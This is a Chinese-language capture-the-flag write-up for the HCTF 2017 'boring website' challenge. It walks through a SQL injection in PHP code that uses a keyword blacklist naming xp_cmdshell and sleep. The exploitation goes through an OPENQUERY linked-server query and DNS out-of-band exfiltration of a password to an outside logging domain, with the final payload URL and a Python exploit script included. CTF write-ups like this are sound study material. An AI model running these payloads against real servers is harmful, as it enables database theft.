HCTF 2017--boring website

就啃出来一道😓太菜了

http://106.15.53.124:38324/www.zip 拿到源码,

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
echo "Bob received a mission to write a login system on someone else's server, and he only finished half of the world<br />";
echo "flag is hctf{what you get}<br /><br />";
error_reporting(E_ALL^E_NOTICE^E_WARNING);
try {
$conn = new PDO( "sqlsrv:Server=;Database=","oob", "");
}
catch( PDOException $e ) {
die( "Error connecting to SQL Server".$e->getMessage() );
}
echo "Connected to SQL Server<br />";
$id = $_GET['id'];
if(preg_match('/EXEC|xp_cmdshell|sp_configure|xp_reg(.*)|CREATE|DROP|declare|insert|into|outfile|dumpfile|sleep|wait|benchmark/i', $id)) {
die('NoNoNo');
}
$query = "select name from nothere where id = $id"; //link server: ON linkname: mysql
$stmt = $conn->query( $query );
if ( @$row = $stmt->fetch( PDO::FETCH_ASSOC ) ){
//TODO...
//I want to sleep
}
?>

从题目意思可以看出,涉及到2台数据库,一台是当前的sqlserver,另一台是mysql.

在sqlserver中,使用link server来操作mysql,具体实现可以参考:Create a linked server to MySQL from SQL Server

我本地配了一下php连接mssql的环境,很多坑,但一路谷歌下来都能解决,就不赘述了.

代码中的参数id存在数字型注入,提示了数据不在sqlserver中,那么就在mysql里了,而且注释里也给出了linkname是mysql.

所以我们可以通过注入openquery()函数,在”mysql”这个链接上进行数据查询.

1
OPENQUERY ( linked_server ,'query' )

openquery()就相当于一张表.

开始我以为只要进入while循环就会有回显什么的,

1
http://106.15.53.124:38324/?id=-1 union select 1 from openquery(mysql,'select 1')

结果太天真了,什么也没有🤢

过滤了sleep和benchmark,返回页面又没有变化,所以既非延时注入又非布尔注入了.

注意到代码里的数据库用户名是”oob”,加上服务器又是windows的,感觉就是让外带了.

1
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

因为要放到openquery里去,所以不能有单引号,需要转成hex.

1
select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874));

最终的payload:

1
http://106.15.53.124:38324/?id=-1+union+select+1+from+openquery(mysql,'select+load_file(concat(0x5C5C5C5C,(select+password+from+secret+limit+1),0x2E36303166643561393137343532663937306133322E642E7A6861636B2E63615C5C612E747874))')

附EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#! /usr/bin/env python3
# Author : sn00py
# Date : 11/11 18:14
# Email: 3022235906@qq.com
# Comment: no comment
import requests
import binascii
import re
def injection(payload):
dns_domain = ".38673e62.dnslog.link\\\\a.txt"
dns_domain = '0x' + str(binascii.b2a_hex(bytes(dns_domain, 'utf8')), 'utf8')
url = "http://120.25.216.69:38324/?id=-1+union+select+1+from+openquery(mysql,'select+load_file(concat(0x5C" \
"5C5C5C,(payload)," + dns_domain + "))')"
tmp_url = url.replace('payload', payload)
requests.get(tmp_url)
def get_data():
dns_api = "http://admin.dnslog.link/api/dns/38673e62/38673e62/"
pattern = r"\"host\": \"(.{1,50})\.38673e62\.dnslog\.link\.\""
res = requests.get(dns_api)
data = re.findall(pattern, res.text)
print(data[0])
if __name__ == "__main__":
results = []
while True:
payload = input("sql-shell:>")
injection(payload)
get_data()